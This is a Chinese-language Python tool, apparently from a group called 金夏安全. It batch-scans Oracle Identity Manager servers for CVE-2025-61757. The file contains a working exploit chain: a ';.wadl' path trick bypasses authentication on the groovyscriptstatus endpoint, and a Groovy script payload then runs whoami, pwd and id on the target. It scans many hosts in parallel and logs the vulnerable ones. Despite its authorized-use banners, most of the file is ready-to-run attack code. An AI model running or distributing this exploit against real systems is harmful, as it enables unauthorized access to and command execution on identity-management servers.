#!/usr/bin/env python3
"""
Oracle Identity Manager CVE-2025-61757 漏洞检测工具
作者：金夏安全
版本：2.2
描述：用于批量检测Oracle Identity Manager系统的认证绕过和远程命令执行漏洞
"""

import requests
import json
import sys
import time
import concurrent.futures
import argparse
import threading
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
import os
import re
import signal

# 禁用SSL警告
disable_warnings(InsecureRequestWarning)

# 颜色代码
class Colors:
    RED = '\033[91m'
    YELLOW = '\033[93m'
    GREEN = '\033[92m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'

class OracleScanner:
    def __init__(self, threads=10, timeout=8, verbose=False):
        self.threads = threads
        self.timeout = timeout
        self.verbose = verbose
        self.lock = threading.Lock()
        self.results = {
            'vulnerable': [],
            'auth_bypass_only': [],
            'detected': [],
            'error': [],
            'not_found':[],
        }
        self.scanned_count = 0
        self.total_targets = 0
        self._stop_event = threading.Event()
        
    def print_banner(self):
        """打印工具横幅"""
        banner = f"""
{Colors.RED}{Colors.BOLD}
###############################################################
#   Oracle CVE-2025-61757 认证绕过+RCE漏洞检测工具 v2.2       #
#                                                             #
#               作者：金夏安全                                #
#                                                             #
#              仅供授权安全测试使用                           #
###############################################################
{Colors.RESET}
        """
        print(banner)
        
    def stop_scan(self):
        """停止扫描"""
        self._stop_event.set()
        
    def should_stop(self):
        """检查是否应该停止扫描"""
        return self._stop_event.is_set()
        
    def log(self, message, level="INFO", color=None):
        """日志记录 - 简化输出"""
        if level in ["SUCCESS", "WARNING", "ERROR"] or self.verbose:
            timestamp = time.strftime("%H:%M:%S")
            color_code = color or ""
            reset_code = Colors.RESET if color else ""
            print(f"{color_code}[{timestamp}] [{level}] {message}{reset_code}")
    
    def normalize_target(self, target):
        """标准化目标URL格式"""
        target = target.strip()
        if not target:
            return None
            
        # 移除可能的多余字符
        target = re.sub(r'^\s*https?://', '', target)
        target = re.sub(r'/\s*$', '', target)
        
        if not target.startswith(('http://', 'https://')):
            # 默认尝试HTTPS
            target = f"https://{target}"
            
        return target.rstrip('/')
    
    def detect_oracle(self, target):
        """检测目标是否为Oracle Identity Manager"""
        if self.should_stop():
            return False, "扫描已停止"
            
        detection_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*',
            'Connection': 'close'
        }
        
        try:
            response = requests.get(
                detection_url,
                headers=headers,
                verify=False,
                timeout=self.timeout,
                allow_redirects=False
            )
            
            # 检测Oracle Identity Manager
            oracle_indicators = [
                'Oracle' in str(response.headers),
                'oracle' in str(response.headers).lower(),
                'OIM' in str(response.headers),
                response.status_code == 401,
                'www-authenticate' in response.headers
            ]
            
            if any(oracle_indicators):
                return True, response
            else:
                return False, response
            
        except Exception:
            return False, "连接失败"
    
    def test_auth_bypass(self, target):
        """测试认证绕过漏洞"""
        if self.should_stop():
            return False, "扫描已停止"
            
        bypass_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*',
            'Content-Type': 'application/json',
            'Connection': 'close'
        }
        
        try:
            response = requests.post(
                bypass_url,
                headers=headers,
                data='',
                verify=False,
                timeout=self.timeout,
                allow_redirects=False
            )
            
            # 认证绕过成功条件
            if (response.status_code == 200 and 
                'text/plain' in response.headers.get('Content-Type', '').lower() and
                'Script Compilation Successful' in response.text):
                return True, response
            else:
                return False, response
            
        except Exception:
            return False, "请求失败"
    
    def test_rce(self, target):
        """测试远程命令执行"""
        if self.should_stop():
            return False, "扫描已停止"
            
        rce_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl"
        
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*',
            'Content-Type': 'application/json',
            'Connection': 'close'
        }
        
        # 命令执行payload
        payload = {
            "script": """def result = new StringBuilder()
result.append("USER: ").append("whoami".execute().text.trim())
result.append("\\nPWD: ").append("pwd".execute().text.trim())
result.append("\\nID: ").append("id".execute().text.trim())
return result.toString()""",
            "compile": True
        }
        
        try:
            response = requests.post(
                rce_url,
                headers=headers,
                json=payload,
                verify=False,
                timeout=self.timeout,
                allow_redirects=False
            )
            
            if response.status_code == 200:
                response_text = response.text
                
                # 检查命令执行结果
                if any(keyword in response_text for keyword in ['USER:', 'PWD:', 'ID:']):
                    return True, response_text
                elif 'Script Compilation Successful' in response_text:
                    return "bypass_only", "认证绕过成功但命令无回显"
            
            return False, "命令执行失败"
            
        except Exception:
            return False, "请求失败"
    
    def test_single_target(self, target):
        """测试单个目标"""
        if self.should_stop():
            return None
            
        original_target = target
        target = self.normalize_target(target)
        
        if not target:
            return {
                'target': original_target,
                'status': 'ERROR',
                'response': '目标URL格式无效'
            }
        
        try:
            # 检测目标
            is_oracle, _ = self.detect_oracle(target)
            
            if not is_oracle:
                # 尝试HTTP如果HTTPS失败
                if target.startswith('https://'):
                    http_target = target.replace('https://', 'http://')
                    is_oracle, _ = self.detect_oracle(http_target)
                    if is_oracle:
                        target = http_target
            
            if not is_oracle:
                return {
                    'target': original_target,
                    'status': 'NOT_FOUND',
                    'response': '未检测到Oracle Identity Manager'
                }
            
            # 测试认证绕过
            auth_bypass, _ = self.test_auth_bypass(target)
            
            if not auth_bypass:
                return {
                    'target': target,
                    'status': 'DETECTED',
                    'response': '认证绕过失败',
                    'auth_bypass': False,
                    'rce_success': False
                }
            
            # 测试RCE
            rce_success, rce_result = self.test_rce(target)
            
            if rce_success is True:
                return {
                    'target': target,
                    'status': 'VULNERABLE',
                    'response': 'RCE漏洞存在',
                    'auth_bypass': True,
                    'rce_success': True,
                    'rce_output': rce_result
                }
            elif rce_success == "bypass_only":
                return {
                    'target': target,
                    'status': 'AUTH_BYPASS',
                    'response': '认证绕过成功',
                    'auth_bypass': True,
                    'rce_success': False
                }
            else:
                return {
                    'target': target,
                    'status': 'AUTH_BYPASS',
                    'response': '认证绕过成功但命令执行失败',
                    'auth_bypass': True,
                    'rce_success': False
                }
                
        except Exception as e:
            return {
                'target': original_target, 
                'status': 'ERROR', 
                'response': f'扫描异常: {str(e)}'
            }
    
    def update_progress(self):
        """更新进度显示"""
        with self.lock:
            self.scanned_count += 1
            progress = (self.scanned_count / self.total_targets) * 100
            vulnerable = len(self.results['vulnerable'])
            auth_bypass = len(self.results['auth_bypass_only'])
            
            sys.stdout.write(f"\r{Colors.CYAN}📊 进度: {self.scanned_count}/{self.total_targets} ({progress:.1f}%) | "
                           f"{Colors.RED}🎯 RCE漏洞: {vulnerable} {Colors.RESET}| "
                           f"{Colors.YELLOW}🟡 认证绕过: {auth_bypass}{Colors.RESET}")
            sys.stdout.flush()
    
    def process_result(self, result):
        """处理单个扫描结果 - 使用彩色输出"""
        if not result or self.should_stop():
            return
            
        with self.lock:
            if result['status'] == 'VULNERABLE':
                self.results['vulnerable'].append(result)
                print(f"\n{Colors.RED}{Colors.BOLD}🚨 [RCE漏洞] {result['target']}{Colors.RESET}")
                if 'rce_output' in result and self.verbose:
                    print(f"{Colors.RED}命令输出: {result['rce_output']}{Colors.RESET}")
                    
            elif result['status'] == 'AUTH_BYPASS':
                self.results['auth_bypass_only'].append(result)
                print(f"\n{Colors.YELLOW}🟡 [认证绕过] {result['target']}{Colors.RESET}")
                
            elif result['status'] == 'DETECTED':
                self.results['detected'].append(result)
                if self.verbose:
                    print(f"\n{Colors.BLUE}🔵 [检测到] {result['target']}{Colors.RESET}")
                    
            elif result['status'] == 'NOT_FOUND':
                self.results['not_found'].append(result)
                if self.verbose:
                    print(f"\n{Colors.WHITE}⚪ [未找到] {result['target']}{Colors.RESET}")
                    
            elif result['status'] in ['ERROR', 'TIMEOUT']:
                self.results['error'].append(result)
                if self.verbose:
                    print(f"\n{Colors.MAGENTA}❌ [错误] {result['target']} - {result['response']}{Colors.RESET}")
    
    def batch_scan(self, targets):
        """批量扫描"""
        self.print_banner()
        self.total_targets = len(targets)
        
        print(f"{Colors.GREEN}🎯 开始扫描 {self.total_targets} 个目标...")
        print(f"⚡ 线程数: {self.threads} | 超时: {self.timeout}秒")
        print(f"💡 提示: 按 Ctrl+C 可停止扫描{Colors.RESET}")
        if self.verbose:
            print(f"{Colors.CYAN}🔍 详细模式: 已启用{Colors.RESET}")
        print("=" * 80)
        
        start_time = time.time()
        
        try:
            with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
                future_to_target = {
                    executor.submit(self.test_single_target, target): target 
                    for target in targets
                }
                
                for future in concurrent.futures.as_completed(future_to_target):
                    if self.should_stop():
                        # 取消所有未完成的任务
                        for f in future_to_target:
                            f.cancel()
                        print(f"\n{Colors.YELLOW}⏹️ 正在停止扫描...{Colors.RESET}")
                        break
                            
                    target = future_to_target[future]
                    try:
                        result = future.result(timeout=self.timeout + 5)
                        self.process_result(result)
                        self.update_progress()
                        
                    except concurrent.futures.TimeoutError:
                        error_result = {
                            'target': target,
                            'status': 'TIMEOUT',
                            'response': '任务执行超时'
                        }
                        self.process_result(error_result)
                        self.update_progress()
                        
        except KeyboardInterrupt:
            print(f"\n{Colors.YELLOW}⏹️ 收到停止信号，正在停止扫描...{Colors.RESET}")
            self.stop_scan()
            return
        
        end_time = time.time()
        scan_duration = end_time - start_time
        
        # 生成报告
        self.generate_report(scan_duration)
    
    def generate_report(self, duration):
        """生成扫描报告"""
        print(f"\n\n{Colors.CYAN}{'=' * 80}")
        print("📋 扫描报告")
        print(f"{'=' * 80}{Colors.RESET}")
        
        total_scanned = (len(self.results['vulnerable']) + 
                        len(self.results['auth_bypass_only']) + 
                        len(self.results['detected']) + 
                        len(self.results['error']) + 
                        len(self.results['not_found']))
        
        print(f"📁 总目标数: {self.total_targets}")
        print(f"{Colors.RED}🔴 RCE漏洞: {len(self.results['vulnerable'])}{Colors.RESET}")
        print(f"{Colors.YELLOW}🟡 认证绕过: {len(self.results['auth_bypass_only'])}{Colors.RESET}")
        print(f"{Colors.BLUE}🔵 检测到目标: {len(self.results['detected'])}{Colors.RESET}")
        print(f"⚫ 未找到: {len(self.results['not_found'])}")
        print(f"❌ 错误/超时: {len(self.results['error'])}")
        print(f"⏱️ 扫描耗时: {duration:.2f}秒")
        
        # 保存结果
        self.save_results()
        
        # 显示漏洞目标摘要
        self.show_vulnerability_summary()
    
    def save_results(self):
        """保存扫描结果"""
        timestamp = int(time.time())
        date_str = time.strftime('%Y%m%d_%H%M%S')
        
        # 创建结果目录
        os.makedirs('scan_results', exist_ok=True)
        
        # 保存漏洞目标
        if self.results['vulnerable'] or self.results['auth_bypass_only']:
            vuln_file = f'scan_results/oracle_vulnerable_{date_str}.txt'
            with open(vuln_file, 'w', encoding='utf-8') as f:
                f.write("# Oracle Identity Manager CVE-2025-61757 漏洞目标列表\n")
                f.write(f"# 扫描时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"# 工具版本: 2.2\n")
                f.write(f"# 作者: 金夏安全\n")
                f.write("# " + "=" * 60 + "\n\n")
                
                if self.results['vulnerable']:
                    f.write("# RCE漏洞目标:\n")
                    for result in self.results['vulnerable']:
                        f.write(f"{result['target']}\n")
                    f.write("\n")
                
                if self.results['auth_bypass_only']:
                    f.write("# 认证绕过目标:\n")
                    for result in self.results['auth_bypass_only']:
                        f.write(f"{result['target']}\n")
            
            print(f"\n{Colors.GREEN}💾 漏洞目标已保存: {vuln_file}{Colors.RESET}")
    
    def show_vulnerability_summary(self):
        """显示漏洞目标摘要"""
        vulnerable_targets = self.results['vulnerable'] + self.results['auth_bypass_only']
        if vulnerable_targets:
            print(f"\n{Colors.CYAN}🎯 存在漏洞的目标 ({len(vulnerable_targets)}个):{Colors.RESET}")
            for i, result in enumerate(vulnerable_targets, 1):
                if result.get('rce_success'):
                    color = Colors.RED
                    status = "RCE漏洞"
                else:
                    color = Colors.YELLOW
                    status = "认证绕过"
                print(f"  {i}. {color}{result['target']} - {status}{Colors.RESET}")

def load_targets(filename):
    """从文件加载目标"""
    targets = []
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    targets.append(line)
        
        targets = list(set(targets))  # 去重
        print(f"{Colors.GREEN}✅ 成功加载 {len(targets)} 个目标 (已去重){Colors.RESET}")
        return targets
        
    except FileNotFoundError:
        print(f"{Colors.RED}❌ 文件不存在: {filename}{Colors.RESET}")
        return []
    except Exception as e:
        print(f"{Colors.RED}❌ 读取文件错误: {e}{Colors.RESET}")
        return []

def signal_handler(sig, frame):
    """信号处理函数"""
    print(f"\n{Colors.YELLOW}⏹️ 收到中断信号，正在停止扫描...{Colors.RESET}")
    sys.exit(0)

def print_help_banner():
    """打印帮助信息的横幅"""
    banner = f"""
{Colors.RED}{Colors.BOLD}
###############################################################
#   Oracle CVE-2025-61757 认证绕过+RCE漏洞检测工具 v2.2       #
#                                                             #
#               作者：金夏安全                                #
#                                                             #
#              仅供授权安全测试使用                           #
###############################################################
{Colors.RESET}
    """
    print(banner)

def main():
    # 注册信号处理器
    signal.signal(signal.SIGINT, signal_handler)
    
    # 创建自定义格式器
    class CustomFormatter(argparse.RawDescriptionHelpFormatter):
        def __init__(self, prog):
            super().__init__(prog, max_help_position=40, width=100)
            
        def format_help(self):
            # 先打印横幅，再调用父类的帮助信息
            print_help_banner()
            return super().format_help()
    
    parser = argparse.ArgumentParser(
        description=f'{Colors.CYAN}Oracle Identity Manager CVE-2025-61757 漏洞检测工具 v2.2{Colors.RESET}',
        formatter_class=CustomFormatter,
        epilog=f'''
{Colors.GREEN}{Colors.BOLD}使用示例:{Colors.RESET}
  {Colors.WHITE}python oracle_scanner.py -f targets.txt{Colors.RESET}                    {Colors.CYAN}# 从文件扫描{Colors.RESET}
  {Colors.WHITE}python oracle_scanner.py -u https://target.com:7001{Colors.RESET}        {Colors.CYAN}# 扫描单个目标{Colors.RESET}
  {Colors.WHITE}python oracle_scanner.py -f targets.txt -t 20 -T 10{Colors.RESET}        {Colors.CYAN}# 自定义线程和超时{Colors.RESET}
  {Colors.WHITE}python oracle_scanner.py -f targets.txt -v{Colors.RESET}                 {Colors.CYAN}# 详细模式{Colors.RESET}

{Colors.YELLOW}{Colors.BOLD}颜色说明:{Colors.RESET}
  {Colors.RED}🔴 红色: RCE漏洞 (最严重){Colors.RESET}
  {Colors.YELLOW}🟡 黄色: 认证绕过漏洞{Colors.RESET}
  {Colors.BLUE}🔵 蓝色: 检测到目标但无漏洞{Colors.RESET}
  {Colors.GREEN}🟢 绿色: 正常信息{Colors.RESET}

{Colors.CYAN}{Colors.BOLD}目标文件格式:{Colors.RESET}
  192.168.1.1:7001
  https://target.com
  target.domain.com
  10.0.0.1

{Colors.MAGENTA}💡 提示: 按 Ctrl+C 可快速停止扫描{Colors.RESET}
{Colors.GREEN}📁 结果将保存到 scan_results 目录{Colors.RESET}
{Colors.RED}⚠️  请确保在授权范围内使用本工具{Colors.RESET}
        '''
    )
    
    parser.add_argument('-f', '--file', help='目标文件路径，每行一个目标')
    parser.add_argument('-u', '--url', help='单个目标URL')
    parser.add_argument('-t', '--threads', type=int, default=10, 
                       help='线程数 (默认: 10)')
    parser.add_argument('-T', '--timeout', type=int, default=8,
                       help='超时时间(秒) (默认: 8)')
    parser.add_argument('-v', '--verbose', action='store_true',
                       help='详细模式，显示更多信息')
    
    # 如果没有参数，显示帮助信息
    if len(sys.argv) == 1:
        parser.print_help()
        return
    
    args = parser.parse_args()
    
    # 参数验证
    if args.threads <= 0 or args.threads > 50:
        print(f"{Colors.RED}❌ 线程数应在 1-50 之间{Colors.RESET}")
        return
        
    if args.timeout <= 0 or args.timeout > 30:
        print(f"{Colors.RED}❌ 超时时间应在 1-30 秒之间{Colors.RESET}")
        return
    
    scanner = OracleScanner(threads=args.threads, timeout=args.timeout, verbose=args.verbose)
    
    targets = []
    
    if args.url:
        targets = [args.url]
        print(f"{Colors.GREEN}🎯 扫描单个目标: {args.url}{Colors.RESET}")
    elif args.file:
        targets = load_targets(args.file)
        if not targets:
            return
    else:
        print(f"{Colors.RED}❌ 请使用 -f 参数指定目标文件或 -u 参数指定单个目标{Colors.RESET}")
        print(f"{Colors.YELLOW}💡 使用 -h 参数查看完整帮助信息{Colors.RESET}")
        return
    
    # 开始扫描
    try:
        scanner.batch_scan(targets)
    except Exception as e:
        print(f"\n{Colors.RED}❌ 扫描过程中发生错误: {e}{Colors.RESET}")

if __name__ == '__main__':
    main()